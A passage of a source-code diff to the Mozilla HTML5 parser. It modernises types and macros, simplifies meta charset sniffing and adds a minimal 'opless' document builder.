#include "nsIContent.h"
#include "nsTraceRefcnt.h"
#include "jArray.h"
@@ -42,6 +42,7 @@
#include "nsHtml5ByteReadable.h"
#include "nsIUnicodeDecoder.h"
#include "nsHtml5Macros.h"
+#include "nsIContentHandle.h"
class nsHtml5StreamParser;
@@ -58,10 +59,10 @@ class nsHtml5Portability;
class nsHtml5MetaScanner
{
private:
- static staticJArray<PRUnichar,int32_t> CHARSET;
- static staticJArray<PRUnichar,int32_t> CONTENT;
- static staticJArray<PRUnichar,int32_t> HTTP_EQUIV;
- static staticJArray<PRUnichar,int32_t> CONTENT_TYPE;
+ static staticJArray<char16_t,int32_t> CHARSET;
+ static staticJArray<char16_t,int32_t> CONTENT;
+ static staticJArray<char16_t,int32_t> HTTP_EQUIV;
+ static staticJArray<char16_t,int32_t> CONTENT_TYPE;
protected:
nsHtml5ByteReadable* readable;
private:
@@ -74,7 +75,7 @@ class nsHtml5MetaScanner
int32_t stateSave;
private:
int32_t strBufLen;
- autoJArray<PRUnichar,int32_t> strBuf;
+ autoJArray<char16_t,int32_t> strBuf;
nsString* content;
nsString* charset;
int32_t httpEquivState;
diff --git a/parser/html/nsHtml5MetaScannerCppSupplement.h b/parser/html/nsHtml5MetaScannerCppSupplement.h
index ca8741b84..5e7033777 100644
--- a/parser/html/nsHtml5MetaScannerCppSupplement.h
+++ b/parser/html/nsHtml5MetaScannerCppSupplement.h
@@ -2,25 +2,20 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#include "nsICharsetConverterManager.h"
-#include "nsServiceManagerUtils.h"
#include "nsEncoderDecoderUtils.h"
-#include "nsTraceRefcnt.h"
+#include "nsISupportsImpl.h"
#include "mozilla/dom/EncodingUtils.h"
using mozilla::dom::EncodingUtils;
void
-nsHtml5MetaScanner::sniff(nsHtml5ByteReadable* bytes, nsIUnicodeDecoder** decoder, nsACString& charset)
+nsHtml5MetaScanner::sniff(nsHtml5ByteReadable* bytes, nsACString& charset)
{
readable = bytes;
stateLoop(stateSave);
readable = nullptr;
- if (mUnicodeDecoder) {
- mUnicodeDecoder.forget(decoder);
- charset.Assign(mCharset);
- }
+ charset.Assign(mCharset);
}
bool
@@ -29,47 +24,22 @@ nsHtml5MetaScanner::tryCharset(nsString* charset)
// This code needs to stay in sync with
// nsHtml5StreamParser::internalEncodingDeclaration. Unfortunately, the
// trickery with member fields here leads to some copy-paste reuse. :-(
- nsresult res = NS_OK;
- nsCOMPtr<nsICharsetConverterManager> convManager = do_GetService(NS_CHARSETCONVERTERMANAGER_CONTRACTID, &res);
- if (NS_FAILED(res)) {
- NS_ERROR("Could not get CharsetConverterManager service.");
- return false;
- }
+ nsAutoCString label;
+ CopyUTF16toUTF8(*charset, label);
nsAutoCString encoding;
- CopyUTF16toUTF8(*charset, encoding);
- encoding.Trim(" \t\r\n\f");
- if (encoding.LowerCaseEqualsLiteral("utf-16") ||
- encoding.LowerCaseEqualsLiteral("utf-16be") ||
- encoding.LowerCaseEqualsLiteral("utf-16le")) {
- mCharset.Assign("UTF-8");
- res = convManager->GetUnicodeDecoderRaw(mCharset.get(), getter_AddRefs(mUnicodeDecoder));
- if (NS_FAILED(res)) {
- NS_ERROR("Could not get decoder for UTF-8.");
- return false;
- }
- return true;
- }
- nsAutoCString preferred;
- if (!EncodingUtils::FindEncodingForLabel(encoding, preferred)) {
+ if (!EncodingUtils::FindEncodingForLabel(label, encoding)) {
return false;
}
- if (preferred.LowerCaseEqualsLiteral("utf-16") ||
- preferred.LowerCaseEqualsLiteral("utf-16be") ||
- preferred.LowerCaseEqualsLiteral("utf-16le") ||
- preferred.LowerCaseEqualsLiteral("utf-7") ||
- preferred.LowerCaseEqualsLiteral("x-imap4-modified-utf7")) {
- return false;
+ if (encoding.EqualsLiteral("UTF-16BE") ||
+ encoding.EqualsLiteral("UTF-16LE")) {
+ mCharset.AssignLiteral("UTF-8");
+ return true;
}
- res = convManager->GetUnicodeDecoderRaw(preferred.get(), getter_AddRefs(mUnicodeDecoder));
- if (res == NS_ERROR_UCONV_NOCONV) {
- return false;
- } else if (NS_FAILED(res)) {
- NS_ERROR("Getting an encoding decoder failed in a bad way.");
- mUnicodeDecoder = nullptr;
- return false;
- } else {
- NS_ASSERTION(mUnicodeDecoder, "Getter nsresult and object don't match.");
- mCharset.Assign(preferred);
+ if (encoding.EqualsLiteral("x-user-defined")) {
+ // WebKit/Blink hack for Indian and Armenian legacy sites
+ mCharset.AssignLiteral("windows-1252");
return true;
}
+ mCharset.Assign(encoding);
+ return true;
}
diff --git a/parser/html/nsHtml5MetaScannerHSupplement.h b/parser/html/nsHtml5MetaScannerHSupplement.h
index 4d772a65f..b1bcbb671 100644
--- a/parser/html/nsHtml5MetaScannerHSupplement.h
+++ b/parser/html/nsHtml5MetaScannerHSupplement.h
@@ -3,10 +3,10 @@
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
private:
- nsCOMPtr<nsIUnicodeDecoder> mUnicodeDecoder;
nsCString mCharset;
- inline int32_t read() {
+ inline int32_t read()
+ {
return readable->read();
}
public:
- void sniff(nsHtml5ByteReadable* bytes, nsIUnicodeDecoder** decoder, nsACString& charset);
+ void sniff(nsHtml5ByteReadable* bytes, nsACString& charset);
diff --git a/parser/html/nsHtml5Module.cpp b/parser/html/nsHtml5Module.cpp
index f7c975097..2b7369d4f 100644
--- a/parser/html/nsHtml5Module.cpp
+++ b/parser/html/nsHtml5Module.cpp
@@ -71,7 +71,7 @@ nsHtml5Module::ReleaseStatics()
already_AddRefed<nsIParser>
nsHtml5Module::NewHtml5Parser()
{
- NS_ABORT_IF_FALSE(sNsHtml5ModuleInitialized, "nsHtml5Module not initialized.");
+ MOZ_ASSERT(sNsHtml5ModuleInitialized, "nsHtml5Module not initialized.");
nsCOMPtr<nsIParser> rv = new nsHtml5Parser();
return rv.forget();
}
@@ -80,19 +80,19 @@ nsHtml5Module::NewHtml5Parser()
nsresult
nsHtml5Module::Initialize(nsIParser* aParser, nsIDocument* aDoc, nsIURI* aURI, nsISupports* aContainer, nsIChannel* aChannel)
{
- NS_ABORT_IF_FALSE(sNsHtml5ModuleInitialized, "nsHtml5Module not initialized.");
+ MOZ_ASSERT(sNsHtml5ModuleInitialized, "nsHtml5Module not initialized.");
nsHtml5Parser* parser = static_cast<nsHtml5Parser*> (aParser);
return parser->Initialize(aDoc, aURI, aContainer, aChannel);
}
-class nsHtml5ParserThreadTerminator MOZ_FINAL : public nsIObserver
+class nsHtml5ParserThreadTerminator final : public nsIObserver
{
public:
NS_DECL_ISUPPORTS
- nsHtml5ParserThreadTerminator(nsIThread* aThread)
+ explicit nsHtml5ParserThreadTerminator(nsIThread* aThread)
: mThread(aThread)
{}
- NS_IMETHODIMP Observe(nsISupports *, const char *topic, const PRUnichar *)
+ NS_IMETHODIMP Observe(nsISupports *, const char *topic, const char16_t *) override
{
NS_ASSERTION(!strcmp(topic, "xpcom-shutdown-threads"),
"Unexpected topic");
@@ -103,10 +103,12 @@ class nsHtml5ParserThreadTerminator MOZ_FINAL : public nsIObserver
return NS_OK;
}
private:
+ ~nsHtml5ParserThreadTerminator() {}
+
nsCOMPtr<nsIThread> mThread;
};
-NS_IMPL_ISUPPORTS1(nsHtml5ParserThreadTerminator, nsIObserver)
+NS_IMPL_ISUPPORTS(nsHtml5ParserThreadTerminator, nsIObserver)
// static
nsIThread*
diff --git a/parser/html/nsHtml5Module.h b/parser/html/nsHtml5Module.h
index 74fcd80b8..e667b0a2e 100644
--- a/parser/html/nsHtml5Module.h
+++ b/parser/html/nsHtml5Module.h
@@ -2,8 +2,8 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsHtml5Module_h__
-#define nsHtml5Module_h__
+#ifndef nsHtml5Module_h
+#define nsHtml5Module_h
#include "nsIParser.h"
#include "nsIThread.h"
@@ -25,4 +25,4 @@ class nsHtml5Module
static nsIThread* sMainThread;
};
-#endif // nsHtml5Module_h__
+#endif // nsHtml5Module_h
diff --git a/parser/html/nsHtml5NamedCharacters.cpp b/parser/html/nsHtml5NamedCharacters.cpp
index 040893e9b..d7da56482 100644
--- a/parser/html/nsHtml5NamedCharacters.cpp
+++ b/parser/html/nsHtml5NamedCharacters.cpp
@@ -21,24 +21,23 @@
*/
#define nsHtml5NamedCharacters_cpp_
-#include "prtypes.h"
#include "jArray.h"
#include "nscore.h"
#include "nsDebug.h"
+#include "mozilla/ArrayUtils.h"
#include "prlog.h"
-#include "nsMemory.h"
#include "nsHtml5NamedCharacters.h"
-const PRUnichar nsHtml5NamedCharacters::VALUES[][2] = {
+const char16_t nsHtml5NamedCharacters::VALUES[][2] = {
#define NAMED_CHARACTER_REFERENCE(N, CHARS, LEN, FLAG, VALUE) \
{ VALUE },
#include "nsHtml5NamedCharactersInclude.h"
#undef NAMED_CHARACTER_REFERENCE
{0, 0} };
-PRUnichar** nsHtml5NamedCharacters::WINDOWS_1252;
-static PRUnichar const WINDOWS_1252_DATA[] = {
+char16_t** nsHtml5NamedCharacters::WINDOWS_1252;
+static char16_t const WINDOWS_1252_DATA[] = {
0x20AC,
0x0081,
0x201A,
@@ -101,7 +100,7 @@ NAME_##N##_END = NAME_##N##_START + LEN + FLAG,
};
/* check that the start positions will fit in 16 bits */
-PR_STATIC_ASSERT(NS_ARRAY_LENGTH(ALL_NAMES) < 0x10000);
+PR_STATIC_ASSERT(MOZ_ARRAY_LENGTH(ALL_NAMES) < 0x10000);
const nsHtml5CharacterName nsHtml5NamedCharacters::NAMES[] = {
#ifdef DEBUG
@@ -121,18 +120,18 @@ nsHtml5CharacterName::length() const
return nameLen;
}
-PRUnichar
+char16_t
nsHtml5CharacterName::charAt(int32_t index) const
{
- return static_cast<PRUnichar> (ALL_NAMES[nameStart + index]);
+ return static_cast<char16_t> (ALL_NAMES[nameStart + index]);
}
void
nsHtml5NamedCharacters::initializeStatics()
{
- WINDOWS_1252 = new PRUnichar*[32];
+ WINDOWS_1252 = new char16_t*[32];
for (int32_t i = 0; i < 32; ++i) {
- WINDOWS_1252[i] = (PRUnichar*)&(WINDOWS_1252_DATA[i]);
+ WINDOWS_1252[i] = (char16_t*)&(WINDOWS_1252_DATA[i]);
}
}
diff --git a/parser/html/nsHtml5NamedCharacters.h b/parser/html/nsHtml5NamedCharacters.h
index 75d9d6271..e80655e37 100644
--- a/parser/html/nsHtml5NamedCharacters.h
+++ b/parser/html/nsHtml5NamedCharacters.h
@@ -20,10 +20,9 @@
* DEALINGS IN THE SOFTWARE.
*/
-#ifndef nsHtml5NamedCharacters_h_
-#define nsHtml5NamedCharacters_h_
+#ifndef nsHtml5NamedCharacters_h
+#define nsHtml5NamedCharacters_h
-#include "prtypes.h"
#include "jArray.h"
#include "nscore.h"
#include "nsDebug.h"
@@ -37,17 +36,17 @@ struct nsHtml5CharacterName {
int32_t n;
#endif
int32_t length() const;
- PRUnichar charAt(int32_t index) const;
+ char16_t charAt(int32_t index) const;
};
class nsHtml5NamedCharacters
{
public:
static const nsHtml5CharacterName NAMES[];
- static const PRUnichar VALUES[][2];
- static PRUnichar** WINDOWS_1252;
+ static const char16_t VALUES[][2];
+ static char16_t** WINDOWS_1252;
static void initializeStatics();
static void releaseStatics();
};
-#endif // nsHtml5NamedCharacters_h_
+#endif // nsHtml5NamedCharacters_h
diff --git a/parser/html/nsHtml5NamedCharactersAccel.h b/parser/html/nsHtml5NamedCharactersAccel.h
index a93efacd6..8098c00c4 100644
--- a/parser/html/nsHtml5NamedCharactersAccel.h
+++ b/parser/html/nsHtml5NamedCharactersAccel.h
@@ -6,10 +6,9 @@
* this document.
*/
-#ifndef nsHtml5NamedCharactersAccel_h_
-#define nsHtml5NamedCharactersAccel_h_
+#ifndef nsHtml5NamedCharactersAccel_h
+#define nsHtml5NamedCharactersAccel_h
-#include "prtypes.h"
#include "jArray.h"
#include "nscore.h"
#include "nsDebug.h"
@@ -22,4 +21,4 @@ class nsHtml5NamedCharactersAccel
static const int32_t* const HILO_ACCEL[];
};
-#endif // nsHtml5NamedCharactersAccel_h_
+#endif // nsHtml5NamedCharactersAccel_h
diff --git a/parser/html/nsHtml5NamedCharactersInclude.h b/parser/html/nsHtml5NamedCharactersInclude.h
index 710d619df..0a6b0c11e 100644
--- a/parser/html/nsHtml5NamedCharactersInclude.h
+++ b/parser/html/nsHtml5NamedCharactersInclude.h
@@ -19,7 +19,7 @@
* See Tokenizer.java.
* 3. the length of this sequence of characters,
* 4. placeholder flag (0 if argument #is not a placeholder and 1 if it is),
- * 5. a comma-separated sequence of PRUnichar literals corresponding
+ * 5. a comma-separated sequence of char16_t literals corresponding
* to the code-point(s) of the named character.
*
* The macro expansion doesn't have to refer to all or any of these parameters,
diff --git a/parser/html/nsHtml5OplessBuilder.cpp b/parser/html/nsHtml5OplessBuilder.cpp
new file mode 100644
index 000000000..ac1c03f10
--- /dev/null
+++ b/parser/html/nsHtml5OplessBuilder.cpp
@@ -0,0 +1,49 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* vim: set ts=2 sw=2 et tw=78: */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+#include "nsHtml5OplessBuilder.h"
+
+#include "nsScriptLoader.h"
+#include "mozilla/css/Loader.h"
+#include "nsIDocShell.h"
+#include "nsIHTMLDocument.h"
+
+nsHtml5OplessBuilder::nsHtml5OplessBuilder()
+ : nsHtml5DocumentBuilder(true)
+{
+}
+
+nsHtml5OplessBuilder::~nsHtml5OplessBuilder()
+{
+}
+
+void
+nsHtml5OplessBuilder::Start()
+{
+ mFlushState = eInFlush;
+ BeginDocUpdate();
+}
+
+void
+nsHtml5OplessBuilder::Finish()
+{
+ EndDocUpdate();
+ DropParserAndPerfHint();
+ mScriptLoader = nullptr;
+ mDocument = nullptr;
+ mNodeInfoManager = nullptr;
+ mCSSLoader = nullptr;
+ mDocumentURI = nullptr;
+ mDocShell = nullptr;
+ mOwnedElements.Clear();
+ mFlushState = eNotFlushing;
+}
+
+void
+nsHtml5OplessBuilder::SetParser(nsParserBase* aParser)
+{
+ mParser = aParser;
+}
diff --git a/parser/html/nsHtml5OplessBuilder.h b/parser/html/nsHtml5OplessBuilder.h
new file mode 100644
index 000000000..12d362c68
--- /dev/null
+++ b/parser/html/nsHtml5OplessBuilder.h
@@ -0,0 +1,35 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* vim: set ts=2 sw=2 et tw=78: */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+#ifndef nsHtml5OplessBuilder_h
+#define nsHtml5OplessBuilder_h
+
+#include "nsHtml5DocumentBuilder.h"
+
+class nsParserBase;
+
+/**
+ * This class implements a minimal subclass of nsHtml5DocumentBuilder that
+ * works when tree operation queues that are part of the off-the-main-thread
+ * parsing machinery are not used and, therefore, nsHtml5TreeOpExecutor is
+ * not used.
+ *
+ * This class is mostly responsible for wrapping tree building in an update
+ * batch and resetting various fields in nsContentSink upon finishing.
+ */
+class nsHtml5OplessBuilder : public nsHtml5DocumentBuilder
+{
+public:
+ NS_DECL_AND_IMPL_ZEROING_OPERATOR_NEW
+
+ nsHtml5OplessBuilder();
+ ~nsHtml5OplessBuilder();
+ void Start();
+ void Finish();
+ void SetParser(nsParserBase* aParser);
+};
+
+#endif // nsHtml5OplessBuilder_h
diff --git a/parser/html/nsHtml5OwningUTF16Buffer.cpp b/parser/html/nsHtml5OwningUTF16Buffer.cpp
index 65764db1a..45bbb70dc 100644
--- a/parser/html/nsHtml5OwningUTF16Buffer.cpp
+++ b/parser/html/nsHtml5OwningUTF16Buffer.cpp
@@ -4,7 +4,7 @@
#include "nsHtml5OwningUTF16Buffer.h"
-nsHtml5OwningUTF16Buffer::nsHtml5OwningUTF16Buffer(PRUnichar* aBuffer)
+nsHtml5OwningUTF16Buffer::nsHtml5OwningUTF16Buffer(char16_t* aBuffer)
: nsHtml5UTF16Buffer(aBuffer, 0),
next(nullptr),
key(nullptr)
@@ -39,13 +39,12 @@ nsHtml5OwningUTF16Buffer::~nsHtml5OwningUTF16Buffer()
already_AddRefed<nsHtml5OwningUTF16Buffer>
nsHtml5OwningUTF16Buffer::FalliblyCreate(int32_t aLength)
{
- const mozilla::fallible_t fallible = mozilla::fallible_t();
- PRUnichar* newBuf = new (fallible) PRUnichar[aLength];
+ char16_t* newBuf = new (mozilla::fallible) char16_t[aLength];
if (!newBuf) {
return nullptr;
}
nsRefPtr<nsHtml5OwningUTF16Buffer> newObj =
- new (fallible) nsHtml5OwningUTF16Buffer(newBuf);
+ new (mozilla::fallible) nsHtml5OwningUTF16Buffer(newBuf);
if (!newObj) {
delete[] newBuf;
return nullptr;
diff --git a/parser/html/nsHtml5OwningUTF16Buffer.h b/parser/html/nsHtml5OwningUTF16Buffer.h
index 741aa8f28..b35394286 100644
--- a/parser/html/nsHtml5OwningUTF16Buffer.h
+++ b/parser/html/nsHtml5OwningUTF16Buffer.h
@@ -2,8 +2,8 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsHtml5OwningUTF16Buffer_h_
-#define nsHtml5OwningUTF16Buffer_h_
+#ifndef nsHtml5OwningUTF16Buffer_h
+#define nsHtml5OwningUTF16Buffer_h
#include "nsHtml5UTF16Buffer.h"
@@ -14,7 +14,7 @@ class nsHtml5OwningUTF16Buffer : public nsHtml5UTF16Buffer
/**
* Passes a buffer and its length to the superclass constructor.
*/
- nsHtml5OwningUTF16Buffer(PRUnichar* aBuffer);
+ explicit nsHtml5OwningUTF16Buffer(char16_t* aBuffer);
public:
@@ -22,13 +22,15 @@ class nsHtml5OwningUTF16Buffer : public nsHtml5UTF16Buffer
* Constructor for a parser key placeholder. (No actual buffer.)
* @param aKey a parser key
*/
- nsHtml5OwningUTF16Buffer(void* aKey);
+ explicit nsHtml5OwningUTF16Buffer(void* aKey);
+protected:
/**
* Takes care of releasing the owned buffer.
*/
~nsHtml5OwningUTF16Buffer();
+public:
/**
* The next buffer in a queue.
*/
@@ -53,4 +55,4 @@ class nsHtml5OwningUTF16Buffer : public nsHtml5UTF16Buffer
nsAutoRefCnt mRefCnt;
};
-#endif // nsHtml5OwningUTF16Buffer_h_
+#endif // nsHtml5OwningUTF16Buffer_h
diff --git a/parser/html/nsHtml5Parser.cpp b/parser/html/nsHtml5Parser.cpp
index 0905b0e27..74800a7cc 100644
--- a/parser/html/nsHtml5Parser.cpp
+++ b/parser/html/nsHtml5Parser.cpp
@@ -4,26 +4,29 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#include "nsContentUtils.h"
+#include "nsHtml5Parser.h"
+
+#include "mozilla/AutoRestore.h"
+#include "nsContentUtils.h" // for kLoadAsData
#include "nsHtml5Tokenizer.h"
#include "nsHtml5TreeBuilder.h"
-#include "nsHtml5Parser.h"
#include "nsHtml5AtomTable.h"
#include "nsHtml5DependentUTF16Buffer.h"
-#include "nsIInputStreamChannel.h"
-#include "nsIViewSourceChannel.h"
+#include "nsNetUtil.h"
NS_INTERFACE_TABLE_HEAD(nsHtml5Parser)
- NS_INTERFACE_TABLE2(nsHtml5Parser, nsIParser, nsISupportsWeakReference)
+ NS_INTERFACE_TABLE(nsHtml5Parser, nsIParser, nsISupportsWeakReference)
NS_INTERFACE_TABLE_TO_MAP_SEGUE_CYCLE_COLLECTION(nsHtml5Parser)
NS_INTERFACE_MAP_END
NS_IMPL_CYCLE_COLLECTING_ADDREF(nsHtml5Parser)
NS_IMPL_CYCLE_COLLECTING_RELEASE(nsHtml5Parser)
+NS_IMPL_CYCLE_COLLECTION_CLASS(nsHtml5Parser)
+
NS_IMPL_CYCLE_COLLECTION_TRAVERSE_BEGIN(nsHtml5Parser)
NS_IMPL_CYCLE_COLLECTION_TRAVERSE(mExecutor)
- NS_IMPL_CYCLE_COLLECTION_TRAVERSE(mStreamParser)
+ NS_IMPL_CYCLE_COLLECTION_TRAVERSE_RAWPTR(GetStreamParser())
NS_IMPL_CYCLE_COLLECTION_TRAVERSE_END
NS_IMPL_CYCLE_COLLECTION_UNLINK_BEGIN(nsHtml5Parser)
@@ -39,7 +42,6 @@ nsHtml5Parser::nsHtml5Parser()
, mTokenizer(new nsHtml5Tokenizer(mTreeBuilder, false))
, mRootContextLineNumber(1)
{
- mAtomTable.Init(); // we aren't checking for OOM anyway...
mTokenizer->setInterner(&mAtomTable);
// There's a zeroing operator new for everything else
}
@@ -68,7 +70,7 @@ nsHtml5Parser::GetContentSink()
NS_IMETHODIMP_(void)
nsHtml5Parser::GetCommand(nsCString& aCommand)
{
- aCommand.Assign("view");
+ aCommand.AssignLiteral("view");
}
NS_IMETHODIMP_(void)
@@ -77,6 +79,7 @@ nsHtml5Parser::SetCommand(const char* aCommand)
NS_ASSERTION(!strcmp(aCommand, "view") ||
!strcmp(aCommand, "view-source") ||
!strcmp(aCommand, "external-resource") ||
+ !strcmp(aCommand, "import") ||
!strcmp(aCommand, kLoadAsData),
"Unsupported parser command");
}
@@ -94,11 +97,11 @@ nsHtml5Parser::SetDocumentCharset(const nsACString& aCharset,
{
NS_PRECONDITION(!mExecutor->HasStarted(),
"Document charset set too late.");
- NS_PRECONDITION(mStreamParser, "Setting charset on a script-only parser.");
+ NS_PRECONDITION(GetStreamParser(), "Setting charset on a script-only parser.");
nsAutoCString trimmed;
trimmed.Assign(aCharset);
trimmed.Trim(" \t\r\n\f");
- mStreamParser->SetDocumentCharset(trimmed, aCharsetSource);
+ GetStreamParser()->SetDocumentCharset(trimmed, aCharsetSource);
mExecutor->SetDocumentCharsetAndSource(trimmed,
aCharsetSource);
}
@@ -106,8 +109,8 @@ nsHtml5Parser::SetDocumentCharset(const nsACString& aCharset,
NS_IMETHODIMP
nsHtml5Parser::GetChannel(nsIChannel** aChannel)
{
- if (mStreamParser) {
- return mStreamParser->GetChannel(aChannel);
+ if (GetStreamParser()) {
+ return GetStreamParser()->GetChannel(aChannel);
} else {
return NS_ERROR_NOT_AVAILABLE;
}
@@ -123,7 +126,7 @@ nsHtml5Parser::GetDTD(nsIDTD** aDTD)
nsIStreamListener*
nsHtml5Parser::GetStreamListener()
{
- return mStreamParser;
+ return mStreamListener;
}
NS_IMETHODIMP
@@ -176,16 +179,16 @@ nsHtml5Parser::Parse(nsIURI* aURL,
*/
NS_PRECONDITION(!mExecutor->HasStarted(),
"Tried to start parse without initializing the parser.");
- NS_PRECONDITION(mStreamParser,
+ NS_PRECONDITION(GetStreamParser(),
"Can't call this Parse() variant on script-created parser");
- mStreamParser->SetObserver(aObserver);
- mStreamParser->SetViewSourceTitle(aURL); // In case we're viewing source
- mExecutor->SetStreamParser(mStreamParser);
+ GetStreamParser()->SetObserver(aObserver);
+ GetStreamParser()->SetViewSourceTitle(aURL); // In case we're viewing source
+ mExecutor->SetStreamParser(GetStreamParser());
mExecutor->SetParser(this);
return NS_OK;
}
-NS_IMETHODIMP
+nsresult
nsHtml5Parser::Parse(const nsAString& aSourceBuffer,
void* aKey,
const nsACString& aContentType,
@@ -206,17 +209,23 @@ nsHtml5Parser::Parse(const nsAString& aSourceBuffer,
// Gripping the other objects just in case, since the other old grip
// required grips to these, too.
- nsRefPtr<nsHtml5StreamParser> streamKungFuDeathGrip(mStreamParser);
+ nsRefPtr<nsHtml5StreamParser> streamKungFuDeathGrip(GetStreamParser());
nsRefPtr<nsHtml5TreeOpExecutor> treeOpKungFuDeathGrip(mExecutor);
if (!mExecutor->HasStarted()) {
- NS_ASSERTION(!mStreamParser,
+ NS_ASSERTION(!GetStreamParser(),
"Had stream parser but document.write started life cycle.");
// This is the first document.write() on a document.open()ed document
mExecutor->SetParser(this);
mTreeBuilder->setScriptingEnabled(mExecutor->IsScriptEnabled());
- mTreeBuilder->setIsSrcdocDocument(IsSrcdocDocument());
+ bool isSrcdoc = false;
+ nsCOMPtr<nsIChannel> channel;
+ rv = GetChannel(getter_AddRefs(channel));
+ if (NS_SUCCEEDED(rv)) {
+ isSrcdoc = NS_IsSrcdocChannel(channel);
+ }
+ mTreeBuilder->setIsSrcdocDocument(isSrcdoc);
mTokenizer->start();
mExecutor->Start();
@@ -240,7 +249,7 @@ nsHtml5Parser::Parse(const nsAString& aSourceBuffer,
if (aLastCall && aSourceBuffer.IsEmpty() && !aKey) {
// document.close()
- NS_ASSERTION(!mStreamParser,
+ NS_ASSERTION(!GetStreamParser(),
"Had stream parser but got document.close().");
if (mDocumentClosed) {
// already closed
@@ -259,7 +268,7 @@ nsHtml5Parser::Parse(const nsAString& aSourceBuffer,
NS_ASSERTION(IsInsertionPointDefined(),
"Doc.write reached parser with undefined insertion point.");
- NS_ASSERTION(!(mStreamParser && !aKey),
+ NS_ASSERTION(!(GetStreamParser() && !aKey),
"Got a null key in a non-script-created parser");
// XXX is this optimization bogus?
@@ -352,7 +361,7 @@ nsHtml5Parser::Parse(const nsAString& aSourceBuffer,
mLastWasCR = false;
if (stackBuffer.hasMore()) {
int32_t lineNumberSave;
- bool inRootContext = (!mStreamParser && !aKey);
+ bool inRootContext = (!GetStreamParser() && !aKey);
if (inRootContext) {
mTokenizer->setLineNumber(mRootContextLineNumber);
} else {
@@ -491,10 +500,10 @@ nsHtml5Parser::Terminate()
// XXX - [ until we figure out a way to break parser-sink circularity ]
// Hack - Hold a reference until we are completely done...
nsCOMPtr<nsIParser> kungFuDeathGrip(this);
- nsRefPtr<nsHtml5StreamParser> streamKungFuDeathGrip(mStreamParser);
+ nsRefPtr<nsHtml5StreamParser> streamKungFuDeathGrip(GetStreamParser());
nsRefPtr<nsHtml5TreeOpExecutor> treeOpKungFuDeathGrip(mExecutor);
- if (mStreamParser) {
- mStreamParser->Terminate();
+ if (GetStreamParser()) {
+ GetStreamParser()->Terminate();
}
return mExecutor->DidBuildModel(true);
}
@@ -527,18 +536,10 @@ nsHtml5Parser::Reset()
}
bool
-nsHtml5Parser::CanInterrupt()
-{
- // nsContentSink needs this to let nsContentSink::DidProcessATokenImpl
- // interrupt.
- return true;
-}
-
-bool
nsHtml5Parser::IsInsertionPointDefined()
{
return !mExecutor->IsFlushing() &&
- (!mStreamParser || mParserInsertedScriptsBeingEvaluated);
+ (!GetStreamParser() || mParserInsertedScriptsBeingEvaluated);
}
void
@@ -556,7 +557,7 @@ nsHtml5Parser::EndEvaluatingParserInsertedScript()
void
nsHtml5Parser::MarkAsNotScriptCreated(const char* aCommand)
{
- NS_PRECONDITION(!mStreamParser, "Must not call this twice.");
+ NS_PRECONDITION(!mStreamListener, "Must not call this twice.");
eParserMode mode = NORMAL;
if (!nsCRT::strcmp(aCommand, "view-source")) {
mode = VIEW_SOURCE_HTML;
@@ -572,17 +573,19 @@ nsHtml5Parser::MarkAsNotScriptCreated(const char* aCommand)
#ifdef DEBUG
else {
NS_ASSERTION(!nsCRT::strcmp(aCommand, "view") ||
- !nsCRT::strcmp(aCommand, "external-resource"),
+ !nsCRT::strcmp(aCommand, "external-resource") ||
+ !nsCRT::strcmp(aCommand, "import"),
"Unsupported parser command!");
}
#endif
- mStreamParser = new nsHtml5StreamParser(mExecutor, this, mode);
+ mStreamListener =
+ new nsHtml5StreamListener(new nsHtml5StreamParser(mExecutor, this, mode));
}
bool
nsHtml5Parser::IsScriptCreated()
{
- return !mStreamParser;
+ return !GetStreamParser();
}
/* End nsIParser */
@@ -610,7 +613,7 @@ nsHtml5Parser::ParseUntilBlocked()
return NS_OK;
}
if (mDocumentClosed) {
- NS_ASSERTION(!mStreamParser,
+ NS_ASSERTION(!GetStreamParser(),
"This should only happen with script-created parser.");
mTokenizer->eof();
mTreeBuilder->StreamEnded();
@@ -624,12 +627,12 @@ nsHtml5Parser::ParseUntilBlocked()
// never release the last buffer.
NS_ASSERTION(!mLastBuffer->getStart() && !mLastBuffer->getEnd(),
"Sentinel buffer had its indeces changed.");
- if (mStreamParser) {
+ if (GetStreamParser()) {
if (mReturnToStreamParserPermitted &&
!mExecutor->IsScriptExecuting()) {
mTreeBuilder->Flush();
mReturnToStreamParserPermitted = false;
- mStreamParser->ContinueAfterScripts(mTokenizer,
+ GetStreamParser()->ContinueAfterScripts(mTokenizer,
mTreeBuilder,
mLastWasCR);
}
@@ -655,7 +658,7 @@ nsHtml5Parser::ParseUntilBlocked()
mFirstBuffer->adjust(mLastWasCR);
mLastWasCR = false;
if (mFirstBuffer->hasMore()) {
- bool inRootContext = (!mStreamParser && !mFirstBuffer->key);
+ bool inRootContext = (!GetStreamParser() && !mFirstBuffer->key);
if (inRootContext) {
mTokenizer->setLineNumber(mRootContextLineNumber);
}
@@ -688,7 +691,13 @@ nsHtml5Parser::Initialize(nsIDocument* aDoc,
void
nsHtml5Parser::StartTokenizer(bool aScriptingEnabled) {
- mTreeBuilder->setIsSrcdocDocument(IsSrcdocDocument());
+ bool isSrcdoc = false;
+ nsCOMPtr<nsIChannel> channel;
+ nsresult rv = GetChannel(getter_AddRefs(channel));
+ if (NS_SUCCEEDED(rv)) {
+ isSrcdoc = NS_IsSrcdocChannel(channel);
+ }
+ mTreeBuilder->setIsSrcdocDocument(isSrcdoc);
mTreeBuilder->SetPreventScriptExecution(!aScriptingEnabled);
mTreeBuilder->setScriptingEnabled(aScriptingEnabled);
